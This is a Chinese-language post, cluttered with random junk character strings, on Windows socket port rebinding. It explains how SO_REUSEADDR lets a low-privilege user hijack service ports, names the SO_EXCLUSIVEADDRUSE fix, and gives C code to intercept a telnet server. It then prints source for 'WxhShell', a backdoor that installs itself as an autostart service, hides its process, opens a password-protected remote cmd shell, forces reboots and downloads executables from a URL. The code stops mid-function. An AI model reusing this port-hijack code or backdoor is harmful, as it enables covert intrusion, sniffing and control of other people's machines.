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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [{>3"XJ'
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wD/jN: =?_:h`} saddr.sin_family = AF_INET; j`+{FCB7 9Wg;M#c2Y| saddr.sin_addr.s_addr = htonl(INADDR_ANY); j'OXT<n* At'M? Q@v bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P4LiU2C 4|4 *rhwp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7{]L{ j- MEM(uBYKOb 这意味着什么?意味着可以进行如下的攻击: fCZ"0P3( NZO86y/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ac6@E4 _ :9e4(7~ona 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ("YWJJ'H 1<cx!=w' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ; K,5qs }=JSd@`_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Xpv<v[a -zWNQp$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $$SJLV C$$Zwgy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RR|X4h0.
VrWQ] L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QpA$='
{?q`9[Z #include ^/cqE[V~, #include +p&zM3:9w #include \T!,Z;zK #include %zo
6A1Q; DWORD WINAPI ClientThread(LPVOID lpParam); [mj=m?j int main() ,tDLpnB@; { J@QOF+ & WORD wVersionRequested; DliDBArxZ DWORD ret; aHb&+/HZ WSADATA wsaData; IwOL1\'T4 BOOL val; Y]^*mc0fE SOCKADDR_IN saddr; eA{A3.f"Hz SOCKADDR_IN scaddr; _z1Qr?cY int err; 7IQaXcl SOCKET s; 'T(Q SOCKET sc; @$Yk#N;&( int caddsize; {NcJL< ;tS HANDLE mt; VbTX;? DWORD tid; ~*J
<lln wVersionRequested = MAKEWORD( 2, 2 ); Dm$SW<!l| err = WSAStartup( wVersionRequested, &wsaData ); 4.Fh4Y:$' if ( err != 0 ) { /sn
}Q-Zy2 printf("error!WSAStartup failed!\n"); mY[*Cj3WJ return -1; atW^^4: } xAO\' #m saddr.sin_family = AF_INET; df {\O*6 HR?bnkv|id //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @' %XdH i[MBO`FF saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K9Onjs%U saddr.sin_port = htons(23); SL`; `// if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .Wr7*J[V. { !VXy67 printf("error!socket failed!\n"); >5?c93? return -1; }2\Hg } ,% 'r:@' val = TRUE; *M$mAy< //SO_REUSEADDR选项就是可以实现端口重绑定的 ^hr# 1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9Y2.ob!$} { &y7=tEV printf("error!setsockopt failed!\n"); (kyRx+gA return -1; 9G"4w` P } #xq3)B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VKfpk^rU //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L@jpid95 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g/WDAO?d ZoYllk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w~+\Mf z { MmU`i ,z ret=GetLastError(); WnU2.: printf("error!bind failed!\n"); ,Z
:2ba return -1; eD3\>Y.z } C3N1t listen(s,2); MiKq| while(1) M= |is*t { ]Nw]po+ caddsize = sizeof(scaddr);
m5a'Vs //接受连接请求 B*E"yB\NV sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >|gXE> if(sc!=INVALID_SOCKET) 8r:T&)v { smn(q)tt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v-^<,|vm2f if(mt==NULL) GMkni'pV { LOu9 #w" printf("Thread Creat Failed!\n"); qT:`F break; +?*.Emzl@ } f}KV4'n } Hwtoa, CloseHandle(mt); |/c-~|% } T+t7/PwC; closesocket(s); W5e>Z&& WSACleanup(); A|@d{g return 0; .W$9nbly } :Ig9n: DWORD WINAPI ClientThread(LPVOID lpParam) YHke^Ind { (CtRU SOCKET ss = (SOCKET)lpParam; *b!.9p K SOCKET sc; 6
{F#_. unsigned char buf[4096]; T,Q7 YI SOCKADDR_IN saddr; 3RI6+Cgmn long num; T~SkFZ DWORD val; !>wu7u- DWORD ret; a+CJJ3T- //如果是隐藏端口应用的话,可以在此处加一些判断 #7sxb //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 A[`c+& saddr.sin_family = AF_INET; ~(NFjCUY? saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1K)9fMr] saddr.sin_port = htons(23); AAuwE&Gg if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cVarvueS { O3dQno printf("error!socket failed!\n"); /UY'E<wBx return -1; BT^=p } V\Y,4&bI val = 100; 0S
}\ML if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4PR&67|AH_ { V?>&9D"m ret = GetLastError(); MSp)Jc return -1; F x$W3FIO] } %s5(''a. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) blP8"(U { NXz/1ut% ret = GetLastError(); JDp=w,7LF return -1; gx eu2HG } n$h+_xN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $GQEdVSNo { ^JY:$)4[" printf("error!socket connect failed!\n"); .b!HEi<F closesocket(sc); ti]8_vP}* closesocket(ss); teLZplC=f return -1; 5p-vSWr! } +# !?+'A while(1) c=a;<,Rzb { : Q2=t! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 usu{1&g //如果是嗅探内容的话,可以再此处进行内容分析和记录 q[Ey!h)xq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Nr"GxezU+A num = recv(ss,buf,4096,0); 0C"2?etMx if(num>0) 7|[Dr@.S send(sc,buf,num,0); C\;%IGn else if(num==0) }N,v&B break;
=i2]qj\ num = recv(sc,buf,4096,0); '%rn-|) if(num>0) Z^J)]UL/ send(ss,buf,num,0); d7x6r3J$ else if(num==0) [iyhrc:@ break; xk,1D } RUut7[r closesocket(ss); p_fsEY closesocket(sc); LJ 9#!r@H return 0 ; =+<DNW@% } jH;L7 ]D^; Ca Y[m* ========================================================== 4
'vjU6gW j~cG#t] 下边附上一个代码,,WXhSHELL %+;am Rb @ kba^z ========================================================== 41rS0QAM &`-e; Xt #include "stdafx.h" yV6U<AP$3 <K/iX%b? #include <stdio.h> >Il{{{\> #include <string.h> :g-vy9vb #include <windows.h> nn">
#include <winsock2.h> `Cy;/95m #include <winsvc.h> [s%uE+``S #include <urlmon.h> |y?W#xb 1p SEr6 #pragma comment (lib, "Ws2_32.lib") ZLf(m35 #pragma comment (lib, "urlmon.lib") A9Pq}3U K!-iDaVI #define MAX_USER 100 // 最大客户端连接数 k^s7s{ #define BUF_SOCK 200 // sock buffer &##JZ #define KEY_BUFF 255 // 输入 buffer THy ,W_".aguX #define REBOOT 0 // 重启 nA=E|$1 #define SHUTDOWN 1 // 关机 M{Vi4ehOq 3XUsw1,[ #define DEF_PORT 5000 // 监听端口 9IacZ N]|)O]/[ #define REG_LEN 16 // 注册表键长度 lZ`@ }^& #define SVC_LEN 80 // NT服务名长度 7L]Y.7> ^5FwYXAxi // 从dll定义API wqX!7rD/g) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ro2!$[P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =trLL+vGw' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fCv.$5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -9s&OKo`({ 3YEw7GIO- // wxhshell配置信息 y99|V39' struct WSCFG { Xcg+ SOB int ws_port; // 监听端口 xp\6,Jyh char ws_passstr[REG_LEN]; // 口令 h<!!r int ws_autoins; // 安装标记, 1=yes 0=no !\\1#:*_W char ws_regname[REG_LEN]; // 注册表键名 |~Vq"6` char ws_svcname[REG_LEN]; // 服务名 &iJvkt char ws_svcdisp[SVC_LEN]; // 服务显示名 RTL@WI char ws_svcdesc[SVC_LEN]; // 服务描述信息 "T>;wyGW char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }\W^$e- int ws_downexe; // 下载执行标记, 1=yes 0=no 0F&(}`V char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" `2HNQiK'@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <*ME&cgh4 id1gK(F8H }; 'puiahA .bRDz:?j // default Wxhshell configuration 2 rS`ViicD struct WSCFG wscfg={DEF_PORT, CraD "xuhuanlingzhe", <2^
F'bQV 1, x!?$y_t "Wxhshell", zogl2e+ "Wxhshell", E/>kvs% "WxhShell Service", b X/%Q^Y "Wrsky Windows CmdShell Service", 4L&Rs; "Please Input Your Password: ", l?x'R("{ 1, TO]
cZZ< " http://www.wrsky.com/wxhshell.exe", ;\Pq "Wxhshell.exe" Z. xOO| }; xK_0@6
.V l // 消息定义模块 TF@k{_f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Oc\hW char *msg_ws_prompt="\n\r? for help\n\r#>"; j$z!kd+% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; (Lkcx06e char *msg_ws_ext="\n\rExit."; mnq1WU;< char *msg_ws_end="\n\rQuit."; X@:@1+U char *msg_ws_boot="\n\rReboot..."; xJ\>;$CY char *msg_ws_poff="\n\rShutdown..."; 14h0$7 char *msg_ws_down="\n\rSave to "; N[xa= NHaqT@: char *msg_ws_err="\n\rErr!"; &W>%E!F char *msg_ws_ok="\n\rOK!"; @dvb%A&Pur .;;:t0PB char ExeFile[MAX_PATH]; g+KuK`\N% int nUser = 0; WiF6*]oI HANDLE handles[MAX_USER]; V_=7q=9mV int OsIsNt; p8E6_%Rw '77Gg SERVICE_STATUS serviceStatus; \U HI%1^ SERVICE_STATUS_HANDLE hServiceStatusHandle; xG,L*3c{o ?T8^tGD[ // 函数声明 ]_:j+6i int Install(void); BPypjS0?8 int Uninstall(void); p9*Ak
U&] int DownloadFile(char *sURL, SOCKET wsh); Q^oB`)k int Boot(int flag); EN@<z; void HideProc(void); e>b|13X int GetOsVer(void); .^[{~#Pc* int Wxhshell(SOCKET wsl); C\1x3 void TalkWithClient(void *cs); XWf1c ~J int CmdShell(SOCKET sock);
9Cq"Szs int StartFromService(void); o[ 4e_ @E int StartWxhshell(LPSTR lpCmdLine); %OT?2-d :qK^71gz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `"eIzLc%o6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); `it [xl+/F7 // 数据结构和表定义 RJ$x{$r[ SERVICE_TABLE_ENTRY DispatchTable[] = U^9#uK6GM { - ]U2G: {wscfg.ws_svcname, NTServiceMain}, xn2f!\%p {NULL, NULL} l1"* }; rjwP# HH7Bg0=( // 自我安装 'a=QCO
0 int Install(void) xdrs!GV: { *#sY-G d char svExeFile[MAX_PATH]; )'axJ HKEY key; ~x g#6%<= strcpy(svExeFile,ExeFile); f9?f!k ^eCMATE // 如果是win9x系统,修改注册表设为自启动 ?0'db if(!OsIsNt) { #PA 9bM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7;Vq r$9) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 80Z'1'u0 RegCloseKey(key); pLsWy&G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pXoT@[} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n_P2l<F~/x RegCloseKey(key); Jm]P,jaLc return 0; ECLQqjB } JnXVI!+JDL } unAu8k^ } 0GMov]W?i else { i-`J+8|d >
ZKHjw // 如果是NT以上系统,安装为系统服务 V})b.\"F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `fq# W#Pu if (schSCManager!=0) 1YvE/<6 { L(_bf/@3 SC_HANDLE schService = CreateService ZRj&k9D^U ( Pfl8x schSCManager, ,g{Ob{qT wscfg.ws_svcname, ^,6c9Dxy wscfg.ws_svcdisp, j@Y'>3 SERVICE_ALL_ACCESS, CP6xyXOlPB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yFjjpEpnFt SERVICE_AUTO_START, "D7wtpJ SERVICE_ERROR_NORMAL, ,2Q5'!o svExeFile, "4/J4'- NULL, ,O1/|Y NULL, ;&ypvKG NULL, )LjW=;(b NULL, 'XW9+jj)/ NULL e>!=)6[* ); p[7?0 ( if (schService!=0) %%hG],w { ]seOc],4 CloseServiceHandle(schService); ?j@(1",=& CloseServiceHandle(schSCManager); R9)"%SO<y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G"nGaFT~ strcat(svExeFile,wscfg.ws_svcname); 9?4:},FRmE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,w$:=;i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9]PMti RegCloseKey(key); T<K/bzB3z return 0; t-VU&.Y } whh#J
( } &W$s-qf". CloseServiceHandle(schSCManager); &a?k1R> } GVUZn// } T1g3`7C3 lkaWwjv_D return 1; cX4I+Mf }
)6:1`&6 %SN"<O! // 自我卸载 tqwAS)v= int Uninstall(void) b+e9Pi*\ { &^(4yw(~ HKEY key; X@H/"B%u2 {P!1VYs5 if(!OsIsNt) { 4O:y
?D/e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F8d:7`lO@/ RegDeleteValue(key,wscfg.ws_regname); ] Wx?k7T RegCloseKey(key); ytyB:# J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eizni\ RegDeleteValue(key,wscfg.ws_regname); pRGag~h|E RegCloseKey(key); sz+%4T return 0; ANq3r( } .r\|9 *j< } /xw}]Fa5 }
G:i>MJbxT else { r74'
_y :fA|J!^b[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /<T3^/ ' if (schSCManager!=0) s&F&
*5W { ';KWHk8C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _Z_R\ if (schService!=0) jkV9$W0 { I T?~`vi if(DeleteService(schService)!=0) { );=0cnr3 CloseServiceHandle(schService); 7,"y!\ CloseServiceHandle(schSCManager); lAJP X return 0; jAak,[~; } *IWWD\U CloseServiceHandle(schService); 1w'W)x } FqXE6^ CloseServiceHandle(schSCManager); W=\45BJ } T$*#q('1"} } 0t2n7Y?N Czb:nyRj return 1; V2>+s
y } e>g>)!F !v<`^`x9I // 从指定url下载文件 -
`{T ? int DownloadFile(char *sURL, SOCKET wsh) }j;G`mV2 { aI_[h
v HRESULT hr; V-kx=M"k char seps[]= "/"; x,LYfy"0 char *token; !4+ FN) char *file; n.OsmCR N; char myURL[MAX_PATH]; 9NeHN@D) char myFILE[MAX_PATH]; Y@ X>ejk" bkFO4OZd strcpy(myURL,sURL); N^f_hL|:9 token=strtok(myURL,seps); r -$VPW while(token!=NULL) /_1q)`NYy { qFN`pe, file=token; 8,-U`. token=strtok(NULL,seps); K@tEL Yb } !nL>Ly KpC!C9 GetCurrentDirectory(MAX_PATH,myFILE); Of
m0{c= strcat(myFILE, "\\"); /p$+oA+ strcat(myFILE, file); TGHyBPJb send(wsh,myFILE,strlen(myFILE),0); (Rh$0^)A send(wsh,"...",3,0); U3~rtc* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y
'Ah*h if(hr==S_OK) A$70!5* return 0; bMB*9<c~ else <RuLIu return 1; {'sp8:$a %\T#Ik~3 } OM?FpRVU8 ng:B;;
m // 系统电源模块 yb!/DaCd int Boot(int flag) =HjC.h { 13fyg7^JP HANDLE hToken; /Xl(>^|& TOKEN_PRIVILEGES tkp; Pye/o :QIf0*.O if(OsIsNt) { Nr?CZFN# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +<bvh<]Od LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^Q9K]Vo tkp.PrivilegeCount = 1; KzQuLD(e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rlY n"3% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kQD~v+u{` if(flag==REBOOT) { TeKU/&fkc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p %hvDC return 0; 9Y+7o%6e } '0v]?mM else { iLQ;`/j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l~mj>$ return 0; Zi{vEI ] } U#:N/ts*( } X 4\V4_ else { >dXB)yl if(flag==REBOOT) { (L`IL e*
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UJ><B" return 0; o:`^1 } `=%G&_3_< else { PLq]\y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o)+C4f[G4 return 0; AnoA5H } P q1 j } ;?C`Jagx e!vWGnY return 1; )JY#8,{w } d2fiPI7lg oiOu169] // win9x进程隐藏模块 iUq_vQ@}} void HideProc(void) @H}{?-XyA { 5Gm8U"UR NIHcX6Nw HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U/ax`_ if ( hKernel != NULL ) pnUL+UYeM { PZj}]d ` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ']N\y6=fn9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9M-W 1prb FreeLibrary(hKernel); ,/Q`gRBh" } hqa6aYY x <5zr|BTF]F return; h{ZK;(u$ } r,q.RWuII ! LCy:>i!d // 获取操作系统版本 A4/gVi| int GetOsVer(void) >:h&5@^j$ { lQxEiDIL OSVERSIONINFO winfo; bnN&E?{hF1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W9]0X
GetVersionEx(&winfo); *0m|`-
T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3;88a!AA! return 1; P MI?PC[; else :s1.TQ;Y( return 0; eQ,VK`7X } qB+OxyT& 'sTc=*p/ // 客户端句柄模块 \F)WUIK int Wxhshell(SOCKET wsl) _&[ -< cu { %qEp{itq SOCKET wsh; r{f$n struct sockaddr_in client; 2OjU3z<J DWORD myID; "]W,,A- Pm QeO*f+ while(nUser<MAX_USER) 5sSAH { _o&NbDH int nSize=sizeof(client); lT~WP)
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k"E|E";B if(wsh==INVALID_SOCKET) return 1; yv: Op\;R jI~$iDdOfs handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]2{]TJ@B if(handles[nUser]==0) T8^l}Y
B closesocket(wsh); ErFt5%FN.O else {kvxz nUser++; kx;7/fH } C3~O6<,Jh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &UO/p/a 93=?^ return 0; V."cmtf } v=cX.^L 5g.Kyj| // 关闭 socket g ;XK3R void CloseIt(SOCKET wsh) GyVuQ51 { g?*D)WU closesocket(wsh); (B%[NC6 nUser--; {XV'C@B ExitThread(0); !_oR/) } (M{>9rk8 . BX*C // 客户端请求句柄 3QF[@8EH{ void TalkWithClient(void *cs) &8I*N6p:%/ { _C19eW' T7o7t5* SOCKET wsh=(SOCKET)cs; q
s:TR char pwd[SVC_LEN]; C=2DxdZG char cmd[KEY_BUFF]; bf.yA:~U char chr[1]; 7 0EH~ int i,j; wOLV?Vk eU.C<Tv:8 while (nUser < MAX_USER) { 2B5Ez,'#x o_5[}d if(wscfg.ws_passstr) { n/e ,jw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $GHi9aj_P //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FF0~i+5 //ZeroMemory(pwd,KEY_BUFF); Ul3xeu i=0; vP\6=71Y while(i<SVC_LEN) { / %iS\R%ca Z~[eG"6zI // 设置超时 4~8-^^ fd_set FdRead; TX7dwmt)N struct timeval TimeOut; 50a';!H FD_ZERO(&FdRead); =(~Zm B\ FD_SET(wsh,&FdRead); /82E[P"}6R TimeOut.tv_sec=8; X":2o|R TimeOut.tv_usec=0; rq1zvuUx int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s(e1kk}" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fc=6*.hy 7]~|dc( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <9T,J"y pwd =chr[0]; b
`bg`}x if(chr[0]==0xd || chr[0]==0xa) { +;=>&XR0m pwd=0; /c6]DQ<? break; o)$eIu}Wg } 8VuLL<\| i++; 0k4XVd+Nv } [k&7h, IRTWmT
jT // 如果是非法用户,关闭 socket I3}]MAE if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B\qy:nr j } >/NegJh'F} .~TI% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2|U6dLZ! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3+q-yP#X A,(9|#%L while(1) { r;E5e]w*- V#R; -C ZeroMemory(cmd,KEY_BUFF); Ndyo)11z E`{DX9^ // 自动支持客户端 telnet标准 Mm1>g~o j=0; s6#e?5J while(j<KEY_BUFF) { Ps;4 ]=c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N/<c;"o cmd[j]=chr[0]; Y kvEQ= if(chr[0]==0xa || chr[0]==0xd) { :nfy=*M# cmd[j]=0; rq\<zx]au break; UUa@7|x } K$B~vy6E` j++; }lCQ+s! } bH :C/P<x hlz/TIP^N3 // 下载文件 4 /v[.5 if(strstr(cmd,"http://")) { ~QUN O~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); c%&*yR if(DownloadFile(cmd,wsh)) BB ::zBg send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZwiXeD+4 else <*P)"G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }o\} qu* } 6Q{OM:L/;. else { mS49l !DV0u)k( switch(cmd[0]) { N P5K1: .q!i
+0 // 帮助 =
C/F26=| case '?': { jl>wvY|| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |cC&,8O:{ break; m Ph=bG } NRspi_&4J // 安装 Y{Lxo])e case 'i': { @gmo;8?k if(Install()) `-K[$V send(wsh,msg_ws_err,strlen(msg_ws_err),0); NL2D, else Q]/{6:C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K4I/a#S'@6 break; %*V r}@BA) } 5KIhk`S // 卸载 yS3or(K case 'r': { #\O'*mz if(Uninstall()) QIJ/'72 send(wsh,msg_ws_err,strlen(msg_ws_err),0); n</Rd= else =}Q|#C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D 5:'2i break; Fq%NY8KNE }
8-cuaa // 显示 wxhshell 所在路径 qv|}>wU case 'p': {
KP$AT}D char svExeFile[MAX_PATH]; -rT#Wi strcpy(svExeFile,"\n\r"); 2^nws strcat(svExeFile,ExeFile); 8:0,jnS
send(wsh,svExeFile,strlen(svExeFile),0); Der'45]*^ break; mX?t|:[b } XN{zl* ` // 重启 B(O6qWsL case 'b': { x5rLGt send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4Y4zBD=< if(Boot(REBOOT)) @RL'pKab9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); u:B=lZ[ else { &5[+p{2 closesocket(wsh); K}GRU) ExitThread(0); Prc1U)nfo } /x_AWnU break; @2hOy@V } Y]5MM:mI // 关机 I7#JT?\} case 'd': { Q
;5A~n send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sI09X6) if(Boot(SHUTDOWN)) u1d%wOY send(wsh,msg_ws_err,strlen(msg_ws_err),0);
bf2r8 else { PzhC *" i} closesocket(wsh); 2U"2L^oKI ExitThread(0); :JZV=@<T } 9E0x\%2K break; FU.?n)P } I[w5V;>* // 获取shell 8!@}\6qM case 's': { *O\lR-z!k CmdShell(wsh); wm9wnAy closesocket(wsh); ;:>q;% ExitThread(0); <P@O{Xi+K break; \~t!M~H } TmM~uc7mj // 退出 %az6\"n case 'x': { H$pgzNL send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?IoA;GBg CloseIt(wsh); mZuLwd$0 break; ,WM-%2z^4I } lvNi/jk // 离开 kg,\l9AM case 'q': { u,N<U t send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]1W] closesocket(wsh); "<%J^Z9G WSACleanup(); U6y`:G;. exit(1); wfcR[ break; ;qr?[{G } 6':Egh[; } w ykaf } 6UL9+9[C N.ZuSkRM // 提示信息 2"%f:?xV{ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
/<%L& } SZ7; }
r8 } K@
&;f(Y ASr@5uFR return; AN|f:259 } %L
wq. %Y5F@=>& // shell模块句柄 f&RjvVP?s int CmdShell(SOCKET sock) 2iOYC0`! { ]D=fvvST STARTUPINFO si; )%f]P<kq6 ZeroMemory(&si,sizeof(si)); "V`DhOG& si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -w5sXnS si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T=@Ygjk PROCESS_INFORMATION ProcessInfo; /WLZyT2 char cmdline[]="cmd"; \=&Z_6Mu CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gi2Fjq/Y return 0; *Tr{a_{~C } ?8U]UM6Tu4 OjqT5<U // 自身启动模式 mG0_&'"YIG int StartFromService(void) ?1] \3nj { U}5]Vm$] typedef struct D0TFC3.k} { CVEo<Tz DWORD ExitStatus; 82?LZ?!PD DWORD PebBaseAddress; @L0)k^: DWORD AffinityMask; !(Q@1c&z DWORD BasePriority; >B*zzj ULONG UniqueProcessId; p<wC{D ULONG InheritedFromUniqueProcessId; O'3/21)|y } PROCESS_BASIC_INFORMATION; 0($On`# 6E^9> PROCNTQSIP NtQueryInformationProcess; |
q elvK* )ZFc5m^+u static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DnW/q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &F Yv4J `~41>mM% HANDLE hProcess; uK1VFW PROCESS_BASIC_INFORMATION pbi;
